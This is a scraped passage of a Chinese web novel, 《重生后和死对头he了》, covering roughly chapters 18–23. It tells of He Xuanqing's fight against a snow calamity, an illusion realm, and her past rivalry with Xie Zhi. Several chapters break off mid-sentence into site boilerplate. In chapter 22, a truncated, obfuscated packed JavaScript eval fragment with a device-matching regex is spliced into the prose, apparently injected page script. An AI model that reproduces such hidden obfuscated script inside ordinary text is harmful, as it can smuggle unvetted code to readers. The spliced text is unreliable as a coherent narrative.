这块玉尚未长成,目前发挥不了多大用处。但贺玄青清楚,这块玉是会随着城中人的死亡而不断成长的,在绪冥得到它的时候,它已经长出了五官,被雕琢成了块真正的宝物。 而这块玉佩只要长成便能带给修士莫大的好处,贺玄青甚至无需插手,只要将之留在城中,放任它成长下去—— 就像是绪冥一直在做的那样。 天衍疆域辽阔,这里靠近边陲,并非是什么富饶之地:京城里那些达官显贵看不上这里,有选择的居民也不会在这里定居.....而在天衍,这样的小城还有很多。 她什么都不需要做,就只需要怀揣宝玉,冷眼看着灾厄发生就好,如今雪祸蔓延得比前世还要快,或许用不了三月这玉佩便能长成,变成她的本命法器,帮助她修复损坏的灵根,让她重新踏入修途。 但她不会做这个选择。 她不是郡守,也不是绪冥。 她是风波宫宫主贺玄青。 她不可能会放弃自己国家的任何一寸土地,更不会放纵雪祸蔓延,吞噬那些原本鲜活的生灵。 贺玄青视线落在玉佩上,有些惋惜。 她原以为这玉佩能有别的催化方法,可惜了它已经在此处扎根,没有给她能够操控的机会。 明明刚刚还在焦急催促自己,可在自己做下决定的刹那,手腕上的宝石却比以往的任何时刻都要沉寂。 贺玄青低下头,与宝石中的眼瞳对上,翠绿幽芒洞悉一切,有一瞬间,她仿佛隔着宝石看到了某个人的表情,他似乎早就预料到了自己的抉择,且并不会为此感到惊讶。 死对头比她预想中的更加了解自己。 这种被猜透的感觉让贺玄青有些微妙的不爽。尤其是她曾不止一次察觉到谢止对她的操控欲,谢止不止想要她的性命,还企图掌控她的生活和人生。 当真是可怕得很呐。 那么我这样做,你能猜得到吗? 贺玄青的唇角微微勾起,露出了个清甜美好地笑。倘若是不熟悉她的人看到这种笑或许还会为她所惑,但她的手腕上,原先沉寂的青色宝石正以前所未有的频率疯狂震颤起来。 元丰和纯钧隐约察觉到周遭的气息变化,纷纷惊骇回头。 郡守握着玉佩,不明所以:“你的眼睛……” 贺玄青的眼睛,好像正在流血。 说是流血并不恰当,因为那血并不是红色,浅绿色的暗芒正一点点渗出眼眶。贺玄青唇角带着笑意,表情因为过分用力而显得有些狰狞:“去吧。” 本能使郡守后退一步。 紧接着,他目睹了他这一生以来最为恐怖的场景,巨大绿影自贺玄青的眼眶中涌出,冲天而起,近乎笼罩住了他的整个身形。而后,巨影张开嘴,直接将他整个人连着那块玉佩吞入腹中。 房间突兀地空出来一块地方。 “那是什么东西?” “咒术?巫?灵物?”元丰死死扣着手中玉佩,表情表面上庄重严肃,实际已经被吓懵到居然开始扯纯钧的衣袖,“郡守,郡守被那物件吃了吗?” 纯钧在绿影出现的刹那便本能地拔出刀刃,哪怕那影子消失也未放松紧惕,此时表情惊疑不定,回答得也有些磕巴:“应,应该是这样。” 贺玄青站在原处,她阴沉着脸,对眼前的场景看上去极为不满:“吐出来。” 那影子显然是不太情愿的,借由贺玄青眼瞳的漆黑底色,元丰看到她眼瞳中似乎有什么东西正不断翻卷着,企图钻得更深。 但贺玄青却没给那影子任何机会,她伸手敲了敲眼眶,看样子竟是想直接将此物拖拽出去。 这一动作似乎给绿影造成了极大的痛苦,绿影猛得又从她的眼眶跃出,吐出一物件后又猝然间缩回到了贺玄青的眼瞳之中。 是郡守,郡守昏迷着倒在地上,不省人事,生死不知。 元丰和纯钧是前所未有的老实,他们就像是鹌鹑一样缩着,任由贺玄青毁掉那朵放在匣子里的浮雪莲,也没有问东问西。 除了手腕上的宝石有些过分烫人之外,目前为止的一切贺玄青都很满意。 只不过,她望向窗外,凝视着始终笼罩在这座小镇上方的浓浓雾气。 雪祸没有消失。 原书里,这玉佩从未被毁坏过,贺玄青其实并不知道这样做会发生什么。 但祸患源头已经解决,没了至宝引诱,按照常理这些不同寻常的异相不出几日都该消失。 寻常人都会这样做出判断,但贺玄青不会,贺玄青毕竟在风波宫当了那么多年的宫主,心细如发,从来不会忽略这些普通人会习惯忽视的细节。 贺玄青还有一个优点,知人善用,她很快便判断出来在这种时候,摘星阁的人往往会比风波宫的人更加好用。 于是她毫不犹豫地拎起元丰,在他瑟缩的目光下平静开口:“你,去溯源黑气的源头。” ....... 元丰发誓等自己回了宗门一 19. 第 19 章 《重生后和死对头he了》全本免费阅读 唇红齿白的少年孤零零站在雪原中,绿莹莹的眼睛有如上好的翡翠。 元丰在看清此人的下一秒就忍不住惊呼出声:“阁主!” 这少年简直就是阁主的等比缩小翻版,尤其是那种眼神,锐利地像是能穿过层层雾霭,望到人心底去。 少年似乎看了他一眼,但紧接着,视线就锁定在了贺玄青的身上。 然后,他伸出手,指向雪原深处。 摘星阁的人对阁主向来都有种盲目的信任感,元丰下意识就要顺着那个方向前行,却被纯钧一把拽住停在了原地:“你在干什么?” 元丰不明所以:“当然是跟着阁主走啊,阁主怎会出错?” 纯钧脸色奇差:“你疯了吗!你看这是你阁主吗?” 的确,年纪对不上。 虽是过分年轻了些,但眼前人实在是像极了阁主,元丰敢保证哪怕摘星阁那些师兄师姐来了也绝对会认错。 元丰还在往那头看,但纯钧已然碎碎念说完了后面的话:“更何况摘星阁出来的哪里有好东西,肯定指的错路。” 前半句还是建议,后半句那就是纯纯的夹带私货人身攻击了。 元丰想说你个从风波宫出来的人哪来的脸说我们摘星阁,却感受到一只手扶着他的后背。贺玄青的脸色奇差,呼吸更是到了前所未有的急促,她死死盯着面前的人,面色铁青,猛得爆发了一个字:“跑。” …… 雪原之上,三个人奋力狂奔着。 元丰跑得气喘吁吁,才终于找到一处可供藏身的山洞。他朝着洞口外张望,只见洞外白茫茫一片,就连那些枯枝都被积雪掩埋,元丰举目望去,只能看见呼啸着的山风,和那些夹杂着白雪的雨沫,少年身影已然消失不见。 “那到底是什么东西?”元丰问道。 他以为进入那漩涡后会面对什么极为恐怖的场景,没想到进入后,周围环境居然会如此的.....平和。 虽然这雪原看起来一望无垠,好像永远也走不到尽头,但较他想象的那些天降陨石,刀山火海之类的场面想比已然好了太多。 纯钧摇了摇头,但还是根据自己的经验做出了判断:“跑就对了。” 他刚才虽然是随口说对付,但说的确实都是实话,不管这人是什么身份,会在这种场景下突兀出现,就绝对不可能是什么好东西。 正在此时,沉默许久的贺玄青却忽然开了口:“雪魄中心,浮屠境.......” 纯钧脸色微变。 元丰不明所以:“你们在说什么?” 总不能让这位摘星阁的小弟子不明不白地死在这里,纯钧略作沉吟,还是做了回答:“雪魄通过汲取人的能量强大自身,低级的雪魄会轻微扰乱人的神智,并在人死后形成你曾看见的那些咒雪。高级些的雪魄则不同,他所在之处,会根据闯入者的回忆形成庞大幻境,名为浮屠境。” 说完这句话,纯钧自己都有些不敢置信:“可根据郡守所说照月城出现祸事的时间,不至于此啊?” 雪祸蔓延得再快,也不可能在短短七日内便演变到了这样严重的程度。但看郡守那副吓破胆的模样,他说谎的可能性微乎其微。 贺玄青比他们更清楚一点,上一世咒雪根本没有那么早形成规模,等到风波宫接手的时候,照月城已然直接变成了一座死城,那里压根没有雪魄出现,更不用说是需要高级雪魄才可形成的浮屠境了。 或许是那枚玉佩压制了浮屠境的形成,或许是因为她本不该成为取得宝物的那个人.....事情自她夺取那枚玉佩后逐渐脱轨,可他们根本没有机会探究成因。时间紧迫,他们的首要任务是得在灾祸彻底吞并城区前解决掉这些难题,不可放任其吞噬百姓。 这一头,纯钧好容易给元丰科普完了浮屠境如何依赖修士回忆编织幻境,如何通过汲取修士力量强化自身,最后残害修士的过程。 他想到登云路要开了,出于同行情谊,还是强调了句:“不要看轻这种类型的幻境,虽然幻境编织出来的场景表面上可能看着危险,但浮屠境照的都是修士们心底最痛苦的回忆,多的是修为有成的强者死在它手里。” 多位修士同时进入,浮屠境也只会把其中一位当作境主,再根据境主的回忆构建幻境。 在场总共就只有两位修士,元丰自觉对这场景不熟,他排除了自己,对着纯钧调笑:“兄弟,生活经历很丰富啊。” 纯钧深深瞧了他一眼没有开口,在他背后,正背着身无灵力无法自行赶路的贺玄青。 明明找到了相对安全的藏身之所,但两人的表情却没有丝毫放松,尤其是贺玄青,她的隆起的眉峰自陷入幻境以来就没有松懈下来过。 “你看着也不过是个金丹期的修士,虽是比我强了些许,但幻境也不至于到棘手的程度。我们二打一,能有什么好怕的……”纯钧这视线元丰在马车上也碰见过,元丰自然知道是什么意思,硬着头皮给自己辩解。 但很快的,就连他也笑不出来了。 雪洞中,随着哗啦哗啦地清脆响声响起,一位垂须老者缓缓自洞府深处走出。他的视线浑浊,但行走间步伐轻快,身周灵力浑圆通透,明明脖颈上还拖着一道长长的粗重锁链,却根本不影响他前行的速度。 显然是位修行有成的强者。 待那老人走近,元丰瞧见了他露出来的獠牙和脸上的刚毛,登时倒吸了一口冷气。 谁家好人家的回忆里还会有宗师级别的僵尸啊! 这回不需要贺玄青再做提醒,二人一个跑得比一个快,纯钧占了修为高些的便宜,背着个人还能领先元丰半个身位。 奈何这老人修为比他们更高,他只是起步较慢,待反应过来迈开脚步之时,与三人之间的距离便以肉眼可分辨的速度拉近开来。 现在绝对是谁慢一步谁就得先死,元丰眼前都快跑出幻觉,他起先还觉得此处安全,现在却觉得这雪原实在可恶,白茫茫根本望不到边界,似乎永远也跑不到尽头。 精神上是想逃得更远一些,□□却是有极限的。很快,那僵尸就到达了他们身后,长着长指甲的枯朽手指直刺向元丰的背脊。 感受到危机近在咫尺,元丰想要就地翻滚避开攻击,将要动作却被那僵尸垂下的锁链绊住双脚。慌张之下的挣扎起了反效果,锁链越缠越紧,彻底将他困在了原地。他只能眼睁睁看着僵尸俯身,散着恶臭的獠牙几乎擦过他的身体。 20. 第 20 章 《重生后和死对头he了》全本免费阅读 “当年清禾公主仰慕仙盟那些术法绝学,先帝便将她送去上了摘星阁。”贺玄青根本没有理会元丰的惊呼,她看着窗外雪景,视线莫名有些冷,“便是拜当时尚是摘星阁阁主的清虚子为老师。” “这故事我听过的。”元丰道,“天真浪漫的小公主从小怀揣梦想,为了心中对道统的追求不顾父母阻拦上山,没想到无心插柳柳成荫,倒是促成了仙盟与朝廷的盟约。” 清禾公主上山这段故事在天衍流传甚广,仙盟与朝廷结成一直延续到了今日还未断绝,众人赞其为佳话,坊间还造出不少话本民谣歌颂此事。 “事实并非如此。”贺玄青道,“当时四面战事未平,南蛮屡次三番入侵国都骚扰,朝廷想出兵却缺粮草银钱,捉襟见肘下只得向仙盟里那些老牌有底蕴的宗门求助,不过是假借了清禾公主的名义上山罢了。” 人食五谷,哪怕辟谷了的修士也需要服用丹药提升修为,炼丹的灵植、水源皆处于朝廷管控之下,对于那些仙盟这些宗门而言,既然往后难以避免会与朝廷有纠葛牵扯,不如顺水推舟做个人情。 总结下来,就只是场包裹了糖衣的政治交换。 元丰觉得有些幻灭:“那,那清禾公主仰慕术法绝学的事呢?” “那倒是真的。”贺玄青微笑,“不过自那位公主上山后,她才发现那些有关仙者出尘的传闻不过是谎言,摘星阁这仙盟第一宗的所谓底蕴积累,不过还是靠着剥削庶民获得。” 元丰:...... “就比如没有雪石之前,像我这样的传送都得经由宗门传送阵法才可成功。平日倒是没什么,不过废些精神赶路,但若是想要跨越些危险崎岖的地方,就必须高价请宗门帮忙。传送一次的价格太贵,有些人宁愿冒着风险过去也不肯求助。久而久之,宗门没了生意,便开始想法子人为制造困境,暗自对行人下手......诸如此类的事情屡见不鲜。上行下效,既然连摘星阁都如此行事,其他宗门只会更糟。” 元丰没有说话,他已经被被大人的肮脏世界惊呆了。 “虽说毕竟天衍的朝政才稳定几年,这些宗门没有朝廷牵制管辖,有些乱象也是正常的。”贺玄青,“但既然知道了这件事就不能放任不管,清禾公主能力毕竟有限,思来想去,她决心杀了这位阁主。” 这前后有什么逻辑?还有这是个天真烂漫的柔弱公主该想出来的办法吗?元丰被贺玄青短短几句话颠倒了数次三观,已经蔫了:“但这件事和你有什么关系?” 贺玄青诡异地转换了话题:“清虚子没有死亡,他只是修炼走火入魔,变成了你们现在所看到的样子。” 人再怎么修炼都不可能变成毛僵啊! 明明讲述了那样一个震撼人心的故事,收尾却十分潦草,贺玄青交代道:“不过他虽然是宗师级别的僵尸,但毕竟已经失了神智,还是比较好对付的。只管冲着那些修者常会出现的障门攻击便可。” 对于纯钧而言能用刀砍断的东西就不算什么难题,他闻言点了点头,像是终于松了一口气。 但贺玄青却并未停下:“不过想破除幻境,还有一种方法。” 那种修为的僵尸岂是好杀的,听到还有其他解决方案的元丰眼神微亮:“什么?” 纯钧却是狠狠皱了皱眉,罕见地打打断了贺玄青的发言:“宫主!” 贺玄青支着下巴,压根纯钧不受影响:“一般而言境主死亡,幻境便能破了……要试试吗?” 元丰:...... 贺玄青毫无自己就是境主的自觉,慷慨解惑毫不藏私的态度让元丰都想狠狠翻个白眼,尤其是当他发现纯钧的刀自刚才起便没有归鞘----- 元丰先前还以为纯钧是为了防备外来的那些随时会攻进来的幻境才做的准备,没想到他防备的竟是自己。 他气急:“我是这种人吗?” 纯钧摇了摇头,但刀却没收。 人品无端遭受质疑,而且对方没有一点要悔改的意图,元丰气急之下愤然出门:“我现在就去斩掉那僵尸!” 房门被一把推开,风雪灌入其中,少年人正是个将自身荣辱看得比性命还重的年纪,身形很快便消失在了雪中。 屋中只剩下两人,贺玄青敲了敲桌案,低声吩咐纯钧:“跟上去。” “您为何要告诉他。”纯钧没有动,他皱着眉,似是想不透,“您可是还有别的计划?” “这有什么。”贺玄青回应得十分敷衍,“你不也想着要杀我吗?” “不!”纯钧脸色煞白,“那是,那是因为......” “那是你不确认是否是奸人伪装想要试探。”贺玄青替他说完,“好了,快去吧,别让那孩子跑丢了。” 纯钧捏刀的指腹微微发白,他深深地看了贺玄青一眼,表情严肃认真到显得有些凶巴巴:“大的不好杀,我会先杀掉那个小的。如果没有变化,我会尽快赶回来。” 说罢,他利索地转身,迅速离开。 …… 送走了两人,贺玄青摇了摇头,站起身。 纯钧其实没有猜错,她的确另有计划,甚至根本没有想过带上这两人。 把他们带进来只是因为雪祸太过危险,若是放任他们带在外面保不齐会让他们白白丢了性命。 至于破除幻境这种事,涉及自己的事,贺玄青从来没有假手他人的习惯。 更何况…… 贺玄青的视线在不大的房间中逡巡着,着重留意着那些能供人躲藏的角落。最后她的脚步停在了房间里歪倒的衣柜前。 而后,她一把掀开了破旧的衣柜大门。 她猜得很准,漆黑的衣柜里,赫然蹲着一个小小少年。 他不知在这薄薄的门板下藏了多久,类蛇的青色眼瞳在黑暗里闪着微光,正一眨不眨地盯着她看。 贺玄青微微叹了一口气。 一切都尚且在她的掌控范围内,只不过她从未想到过自己最为恐惧的幻境竟会是这副场景。 看来那本垃圾功法留下来的阴影比她想象的还要大。 “清禾。”小谢止小谢止仰着头,像是在微微皱眉,“你爽约了。” 这是十六岁的摘星阁小弟子谢止。 这个年纪的谢止还未成为日后那个浑身刷绿漆的老黄瓜,他还没学会喜怒不行于色的本领,表情鲜活灵动,从来都是把阴险摆在明面上,非常方便贺玄青观察。 幻境变成这样,也算得上是件好事。 风波宫宫主这些年的经历单拎出来任何一个都会是场足以摧毁照月城的灾难,如今幻境模拟的这种诛心场面,至少明面上好对付了很多。 小谢止的目光自始自终都落在她的身上,看上去脆弱又可怜。 “可他们想要杀了你呀。”贺玄青弯着眼角,脸上挂着甜甜地微笑,“我把他们都支开了。” 小谢止摇了摇头,微微眯起的狭长青色眼瞳从某种角度上看像极了如今的摘星阁阁主:“你想杀我。” 不太好骗啊。 她在开柜门看到他时一闪而过的杀意尚未来得及遮掩,被小谢止敏锐地察觉到了。 贺玄青耐着性子:“我怎么会想杀你呢?我们不是约定好了,要一起杀死那个人吗?” 小谢止抿唇,也不知相信了还是没有相信。 贺玄青笑着开口,想要伸手讲将他从衣柜里拉出来,指尖却自他身上穿了过去,她不动声色收回手:“我们去一起杀掉他吧。” 小谢止没有实体,除非他主动接近,否则没有人能够接触得到他。 “你不是很想将我留下来吗?”贺玄青耐心引导着,“我给你机会,将我永远留在你身边。” 听着像是句浪漫热烈的情话,所代表的含义却极为冰冷无情。留下就是字面意义,幻境造物会在修士摆脱幻境的那一刻彻底消失,所以让修士永远沉湎于幻境之中,是每个幻境造物都最为渴望的事情。 这句话对小谢止显然很有吸引力,他喉头微动,像是陷入了沉思。 “你不用担心我会逃跑。”贺玄青笑着诱哄,“因为我们是无法摆脱彼此的——” 他们背负着彼此的秘密。 他们同担苦难,共享罪恶。 她漆黑的瞳眸中倒影着少年人轮廓,还有窗外那片浩渺无际的雪原,回忆似乎在刹那间蜂拥而至,如寒风般裹挟而来,现实中却什么都没有发生。 破落的房间里,只有贺玄青越发轻柔的声音,似娇似嗔,比小谢止更像幻境造物:“谢止,你不是最清楚的吗?” 小谢止做下决定,他冲着贺玄青伸出手,半透明的指尖由虚幻化为实质,贺玄青能看出其中丝丝缕缕的细线,细线的尽头连接着她最深的苦痛回忆 21. 第 21 章 《重生后和死对头he了》全本免费阅读 谢止觉得自己选择留在京城是个十分错误的决定。 贺玄青这才离京多久? 十天?十五天? 记不清了,贺玄青离京前留下来的麻烦不少,她本人倒是在外头过得潇洒痛快,谢止这些日子却为了给她善后忙得脚不沾地,甚少有闲暇休息的时间。 但无论是过了多长时间都不该搞出这样大的乱子。谢止看着面前那个形似当年贺玄青的幻境造物,陷入了冗长的沉默。 但小贺玄青丝毫不同他见外,她趴在谢止那张方几上,一会儿嫌弃他的椅子没有铺上软垫,一会儿又嫌弃他的茶水里没加蜜糖。 谢止只觉得脑袋里有根青筋正在狠狠抽动着:“出去。” “你想杀掉我吗?”小贺玄青歪着脑袋,她身量太小,坐在椅子上腿也够不到地板,正在左右摇晃着。 明明是她主动问出的问题,可她根本没有等待谢止回答,而是自顾自地笑了起来:“嘻嘻,可你是杀不了我的,你明明喜欢我……还因此滋生了心魔,真可怜。” 这不是贺玄青会说的话。 谢止想。 幻境的主体不在他这里,这只是个基于他印象产生的怪物,还是道极为脆弱的幻影,她除了说几句言语鼓动根本做不了什么,没有幻境延续支撑,无需谢止动手,她也会很快消散。 所以谢止只是静静待在原地,冷冷看着面前的小姑娘:“你想做什么?” “我?我什么都不会做呀。”小贺玄青不退反进,她身量小,够不到谢止,干脆站在了桌案上,“反倒是你,你可真坏啊,明明日日相对,表面上装得淡漠,心中想的却是要如何把人关到自己身边锁起来。” 她用自己又轻又柔的小手慢慢抚上住谢止的脸:“你的那些阴暗荒唐的想法若是让贺玄青知晓了,她会如何?” 没听到谢止回答,于是她又咯咯咯笑了起来。 她满脸含笑,身量清瘦,性情轻佻娇气又活泼,和二十年前尚在苍坪山求学的小公主别无二致。 幻境读取了谢止的记忆,知道了他们之间的故事,幻化出了自以为最能打动谢止的模样。 谢止侧过脸避开她的触碰,清禾公主也不恼。她看人的时候眼眸像是含着一汪春水,哪怕再铁石心肠的人瞧见了也会放软态度,小公主在苍坪山的时候就是靠着这张无辜的脸,笼络了不少师兄师姐们的怜爱: “你很怀念那个时候对不对,你明明知晓贺玄青厌恶极了那段回忆,但你却非常喜欢,你很想回到那个时候,回到那个让贺玄青痛苦万分的噩梦之中。” “你甚至还修缮了苍坪山,按照她的喜好重新布置了那个地方,并兴冲冲将她带了过去。可贺玄青早就忘了,她已经有了崭新的生活,早就将你和那座该死的荒山抛到脑后。”少女身形在刹那间拉长,生长,骤然变成了现今风波宫宫主的模样,幼圆的眼眸拉长,有些圆润的脸蛋也变成了削尖的美人相,“毕竟你再清楚不过,你和苍坪山对她而言都是应当消除的疮疤……” 不,那不是贺宫主。 谢止的瞳眸骤然缩紧—— 面前这幻境虽然变成了贺玄青的模样,气度却变得截然不同,女人衣着华贵,看上去雍容,仪态万方,但她望向谢止的目光却不像贺玄青那般暗含戒备杀意,黑漆漆的眼瞳中还带着些许好奇和天真。 若未经受那些波折和磋磨,长大成人的清禾公主本该变成这副模样。 谢大阁主眉头紧紧皱着,可幻境却像是抓到了他心中的某片裂隙,她咯咯笑着,彻底展露出了其非人的本相。 她以迅疾地速度凑近谢止,原先漂亮的漆黑眼瞳放大到了极致,与谢止青灰色的瞳眸狠狠相对:“嘻嘻嘻,我找到了!你竟是这样想的,你.....” 她的声音戛然而止。 微风拂过,彻底吹散了女人身形,大殿重归于寂,没有了灵力维系,那些耀眼璀璨的群星消失不见,天空中只剩寂寥几颗星子,刚刚充斥整座大殿的莺声燕语就像是场从未出现过的幻梦。 谢止缓缓收回手,他仍然站在原处,身形隐匿于暗处,分辨不清其表情。 ...... 照月城,浮屠境中。 浮屠境对于一颗小宝石而言还是太过沉重了,那宝石不过挡了一下幻境袭击便几近碎裂,青色的瞳眸紧紧闭着,整个宝石都变得暗淡下来。 但幻境却并未因此消弭,带着风雪凌冽气息随之而至,很快便将贺玄青整个人包裹其中。 贺玄青只来得及将那差点坠地的宝石攥在手心,很快便沉入了黑甜的梦境之中。 众人皆知二十年前,十三岁的清禾公主登上苍坪山,与尚且是摘星阁内门一个不起眼的小弟子谢止成了同窗,二人朝夕相对共处了整整四年光阴。 他们不知道的是在清禾公主拜入苍坪山的第四年。天真浪漫的小公主得知了小弟子谢止的遭遇,知晓自己拜的这位师父居然是位道貌盎然的家伙,欺压百姓不说,居然还妄图炼化自己徒弟身上的巫血收为己用,于是挺身而出,与谢止一起合谋杀了师父,救谢止于水火。 故事听起来既美好又令人热血澎湃,但很可惜—— 正如能因为一场盟约,就奋不顾身只身拜入摘星阁的贺玄青绝对不是位单纯天真的小公主一样;那位明明身怀巫血,却能在苍坪山占据大弟子之位的谢止从一开始就不可能会是个安分守己、老老实实等待别人营救的小可怜。 皇家出身的孩子向来早熟,如果从清禾公主的角度来讲述这个故事,便是她早早察觉出了仙盟有要插手朝政的企图,与怀揣着勃勃野心,想要继任摘星阁阁主之位的谢止一拍而合,进行了一场酣畅淋漓的利益交换…… 理应是这 22. 第 22 章 清禾习剑,谢止是内修修士,两人虽都是清虚子的弟子,他们的生活其实并没有多少交集。 但讨厌谢止的理由可以有很多。 就比如清禾在习剑归来时能听见周围那些师兄师姐又开始谈论那劳什子的谢止,说他又赢了某宗门弟子,给摘星阁狠狠长了脸。 摘星阁的人对谢止的崇拜几乎到了某种狂热的地步,据说祝术巫道符箓压胜之术……修内府的修士只需要专精一项便已足够,他却能够样样精通。 谢止资质好,修为高,容颜也好,因为是清虚子的弟子所以在宗门内地位颇高。他为人孤傲清冷,却很受诸位长辈的爱戴,摘星阁内斗严重,同门相互倾轧已成家常便饭,可他却能奇迹般置身之外。 清禾是装得天真浪漫,热情体贴,谢止却是实打实的清冷出尘有如雪山上高不可攀的白莲。 这个形容还是在同为武修的同门的口中听闻,听得她牙酸到三天吃不下饭。 这世界上有什么人能完美无缺吗? 清禾不信。 小公主下定决定一定要揪出谢止的把柄,她提着剑,直接打到了谢止面前,露出了个怯懦乖巧地笑:“师兄,可否赐教。” 谢止转过身,动作清浅柔和:“师妹......” 他的话没有说完,因为下一秒剑芒狠狠撞在了符箓之上,无数繁复阵法自她脚底升起又被轻巧避开,短短数个呼吸他们已然交手数回,谢止的确为此道翘楚,但清禾在内部比斗之时可从未输过。 那场比斗是输了还是赢了? 清禾早就不记得了,他们打了整整三年,输多输少也不过是一百和九十九的区别。摘星阁不禁止弟子间相互比试,但他们实在打了太多场,打到摘星阁人人都知道摘星阁的小师妹与大师兄不对付,打到清禾逐渐习惯了与他对垒的感觉,只要悟出新的剑招,第一个便会找谢止试上一回。 ....... 谢止果真不是什么光风霁月之徒,他阴毒,狠辣,且精于算计,瑕疵必报。 不过到了这个份上,也已没了需要戳破他伪装的必要。 毕竟在他眼中清禾公主也算半斤八两,哪怕小公主明面上装得再乖巧天真,她的剑是骗不了人的。 更何况他们回回打到筋疲力竭,谁还有空管那劳什子的伪装。 两个人互相知道对方的秘密底细,那么秘密就还是秘密。清禾在清楚此人本性后就连装都懒得装了,谢止亦是如此。 又是一日战酣,清禾悟出新剑法,竟能将谢止短暂压制片刻,她利用这次机会让谢止倒在地上滚了一身泥,心情极佳。 下回可就不一定能赢了,小公主高兴地甩了甩剑,打算趁着这机会好好向周围人炫耀炫耀。 谢止的声音响在身后:“你为何要习剑?” 当然是因为看不懂经文啊,蠢货。 但在谢止面前承认自己不会是件很丢人的事情,清禾绝对不会那样干,她歪着脑袋,想找个看起来很光辉伟岸的理由。 但沉思不过三秒,谢止那讨人厌的声音就又响了起来:“是在想借口骗我吗?” 被人戳穿,清禾恼羞成怒:“我当然不.......” 她的声音被骤然打断,因为她的脚踝被某处莫名升起的细小藤蔓缠住,重心失衡摔倒到了地上。 清禾看着地上生长得参差不齐的荒草,和除却荒草外遍布的尘土泥浆,罕见得变了脸色。 谢止,我必杀你! 下一瞬,她重重砸到了谢止身旁。 预想到的疼痛并未袭来,她摔倒在了一片松软蓬松的草地上,这些荒草就像那株绊倒她的邪门藤曼一般在短时间内疯狂生长,且细密交织在一起,宛若一张松软大床。 繁盛之术。 谢止这狗东西又背着她偷偷进步。 清禾握紧拳头,心下已经在思索如何破他那招式,但身体却很老实得找了个舒服的姿势躺了下来。 她确实累极了。 清禾看着上面那漂亮的宛若湛蓝天空,忽然说:“因为我想将未来握在手中,我想终有一日,能由本心做出选择。” “可你明明是位公主。” “是公主有什么了不起的。”清禾无所谓地说,天衍不缺公主,尤其她的出身不好,母亲不过普通农户,早早便死在了战争之中,“天衍有很多公主,皇室之间的斗争与摘星阁差不了多少,父皇给我清禾封号的当晚我还在床上收到过一条毒蛇。” 那边安静极了,但清禾知道谢止在听。 “好在在那条蛇咬到我之前,我先杀了它,用的是挂在墙上的装饰剑。”清禾回想着当时的场景。 蛇血流在手上,腥臭味道充斥了整个房间,黏糊糊地感觉让人反胃。小公主背靠着那个空着的剑架,脊背被压得生疼,她娇嫩白皙的手指也因不恰当的握剑姿势流出鲜血,可她早已顾不上了。 公主持剑是很不妥当的,这并不符合她平日所学的礼仪,她喘息着,指尖因为过长时间的握剑而发着抖,可清禾公主明白—— 她是兴奋的。 这份兴奋当然不是因为她刚刚夺走了一条蛇的性命,这份兴奋来源于她头一回体悟到了力量的强大。往日里她被要求恪守公主礼仪,只能待在屋中学些丹青女红,远远看着自己的兄弟摆弄刀剑,随着父亲征战四方。 一把剑也不是很重,她也能拿起它。 她依旧保持着握着剑的姿势站了很久。直到那些侍卫宫女慌慌张张朝她跑来……那些人替她收拾了房间,漂亮的装饰剑又被装进匣中好好地挂在了剑架上。可他们离开时目光里却混杂了惊慌和厌恶的情绪。 “他们的目光就像是蛇一样黏腻恶心,在那些人眼中公主必须是温驯乖觉的,可我不是这样。” 她不怨恨赠与她蛇的那位姐姐或是妹妹,她们的世界太小,她们能得到的所有东西悉数仰仗她们的父兄,所以她们才会对这种象征宠爱却无实权的阶位有着如此渴望。 她们都只是装点父亲兄弟的漂亮装饰剑而已,在这一点上,最受宠的公主或是最不受宠的公主也没有什么不同。 可她若是一把利剑,怎会甘心安安静静待在精美的剑鞘里供人展览参观。 或许是因为她母亲出身屠户,她生来便较其他人多了几分杀性,于皇宫而言她是异类。清禾公主愿意上山,也有部分原因是想逃离那个地方。 虽然事实证明这两个去处其实没有什么不同,但至少她能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的声音很轻:“倘若你发现我其实并不是你所想的样子,若我肮脏,卑劣,是你讨厌的模样,你会如何?” 清禾停下脚步,认真注视着他那漂亮的青色眼瞳,他的眼尾天生上翘,此时正泛着薄薄红晕,更显得他颜若冠玉,绝色无双。 于是清禾公主也笑了:“我管你是死是活。” 谢止生来什么都有,身为摘星阁的大师兄,无需刻意争取便有人给他送来一切。 他懂什么。 …… “喂,听说了吗?那位摘星阁的大师兄看着光风霁月,实际上就是凡人生的贱种。” “难怪小师妹那样讨厌他,装了那么多年,今儿才暴露出来,当真是个好笑的笑话……小师妹,你说是不是?” 人群熙熙攘攘,将她簇拥其中,这其中不乏有那些在修行上没有天分,想攀附她走上仕途之人。清禾知晓他们的意图,但她从来都是照单全收。 往常,哪怕是她不会参与的话题,清禾也只会笑笑不予理会,这一次,清禾却愣在了原地。 他们在说什么? 23. 第 23 章 “那谢止不过是下等人生的贱种,听说那个村子闹饥荒,清虚子拿了三袋粟米便将这人换了回来。” “清禾公主何等高贵,定是早就便识破了此人身份,才不与此人交好。” 清禾被围在人群中夸耀着,可她张了张口,良久后才找到自己的声音:“是不是平民出身,有什么关系?” “小师妹何出此言,摘星阁的大弟子可是宗门门面,哪怕不是出身仙圣皇室那样的高贵血脉,也至少该是个望族后代。” “贱民怎配入宗门?贱民的血脉哪配拜清虚子为师尊?他隐瞒了那么多年,骗了那么多人,怕是以后再不敢出门了。” 周遭嘈杂仿佛在一瞬间抽离,耳畔只余下无意义的嗡鸣,她看着那些人或恶意,或讥嘲的视线,恍然想起了自己当初斩断那条蛇的时候,那些侍从婢女的目光。 黏腻恶心,像是蛇一样的目光。 在他们眼中,有着屠户出身的公主是不洁净的。 在他们眼中,贱民生下的孩子根本不配踏入仙门。 她与谢止遥遥相对,彼此毫无交集,却又在走着相似的人生。 …… 在过去的三年里,清禾曾不止一次幻想过谢止被人戳穿、贬损的样子。 但她从未想过这一幕会真切发生在自己面前。 清禾不明白自己最后是如何到的谢止居所。谢止喜静,平日里最不喜被人打扰,除却习剑成痴、且根本不在乎会不会得罪谢止的小公主,几乎没人会拜访这个地方,如今出了这样的事,就更不会有人来了。 清禾公主来这里十次有八次有八次都是为了送战帖,但今日,她手上却没有拿任何东西。 她两手空空,脑袋里乱七八糟翻涌着诸多思绪,最后,她深吸一口气,轻轻叩响了那道门扉。 明明隐瞒了那么久的秘密,为什么会忽然间暴露在人前呢? 